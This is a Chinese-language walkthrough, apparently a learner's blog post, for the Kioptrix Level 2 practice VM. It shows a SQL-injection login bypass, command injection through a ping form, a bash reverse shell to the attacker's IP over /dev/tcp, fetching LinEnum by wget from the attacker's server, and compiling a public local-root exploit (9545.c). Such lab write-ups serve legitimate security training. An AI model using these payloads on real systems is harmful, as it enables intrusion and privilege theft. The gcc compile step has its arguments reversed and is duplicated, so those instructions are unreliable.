Kioptrix_level_2
扫描阶段
-
首先使用
arp-scan -l
扫面当前网段下的存活主机 -
使用namp的全扫描
渗透阶段
命令注入+漏洞提权
-
进入页面使用bp抓包过后发现没有什么特殊的值,并且此时为止用户名和密码
-
看到登录框可以输入,对用户和密码尝试sql注入命令,探查是否拥有sql注入漏洞可以使用
此处密码无法使用操作,用户名存在注入漏洞
此处使用
-1' or 1=1 #
此处为sql万能语句,简单解释就是使用‘ 让其错误识别,因为单引号一般都为成对出现,除此之外此处使用的还可能有括号双引号等,单引号前加值是赋予角色id,负一则表示不存在的角色。当然此处可以不加,仅仅是举例。or代表一个执行则全执行,1=1则为让or成功执行的条件,此处只要是true的赋值都可以,也可为 1!=2,该结果也为true,井号代表注释掉后半部分,除了井号还可以是–或者–+,因为html语言中此处的+会被变成空格
-
进入过后如图
此处提示ping一下网络主机
于是内容中输入
127.0.0.1
点击提交返回结果
-
由ping命令加输入框提交可以猜测此处存在命令注入漏洞,类似于dvwa中的命令注入,后面可以通过符号拼接执行
-
更改输入内容为
127.0.0.1&&whoami
发现返回内容中可以执行
-
于是此处可以尝试执行反弹shell命令
nc -lnvp 12138 #kali 开启监听 127.0.0.1;bash -i >& /dev/tcp/192.168.107.129/12138 0>&1 #此处ip为kali的ip,端口为开启的监听端口
-
反弹过后,kali中监听连接成功
-
随后进入过后经过常规的提权搜集,例如
uname -a sudo -l find / -perm -4000 2> /dev/null
经过以上尝试,并没有可以使用的方法
-
此处使用LinEnum脚本探查脆弱性
-
首先使用kali开启http服务
python3 -m http.server 80
-
然后在靶机用户目录下,使用
cd
进入/tmp
目录下随后使用下载命令
wget http://192.168.107.129/LinEnum.sh
显示下载完成后,在tmp目录下使用
chmod +777 LinEnum.sh
进行提权操作,使该脚本拥有执行的权限然后使用
/tmp/LinEnum.sh
执行该脚本(此处之所以使用绝对路径,是因为直接执行它找不到文件)Linenum相关
-
下载地址:
https://github.com/rebootuser/LinEnum
-
介绍:一个高级 Bash 脚本,它从目标系统中提取了大量有用的信息,可以复制文件并进行导出,同时可以搜索包含关键字的文件。
-
用法:
示例:
./LinEnum.sh -r results.txt -e /tmp/ -t
参数:
-k 输入在收集信息的过程中需要匹配的关键字
-e 生成的文件放在哪个目录下
-t 记录测试的过程
-s 输入密码用来检测sudo权限的信息
-r 输入报告的名称
-h 显示帮助信息
-
-
执行完成后,在系统部分位置可以找到版本号
- 使用
searchsploit linux 2.6.x CentOS
搜索漏洞,随后发现第一个较为满足版本,且是本地提权
此处使用searchsploit -m 9545.c
下载进kali本地
-
随后使用相同wget过程将该c语言文件下载进/tmp
-
使用gcc编译命令编译该文件
gcc -o 9545.c ggbond
随后
chmod +777 ggbond
将该文件提权后./ggbond
执行该二进制文件
编译命令编译该文件gcc -o 9545.c ggbond
随后chmod +777 ggbond
将该文件提权后./ggbond
执行该二进制文件
- 再次使用whoami,发现提权成功
补充说明:本人也在学习期间,如有不正确的地方请见谅
版权声明:本文章为了方便零基础同学通关靶机,掺杂了相关的知识补充,该知识补充内容为学习期间在网上收集的信息,如若有侵权行为,请联系本人进行处理。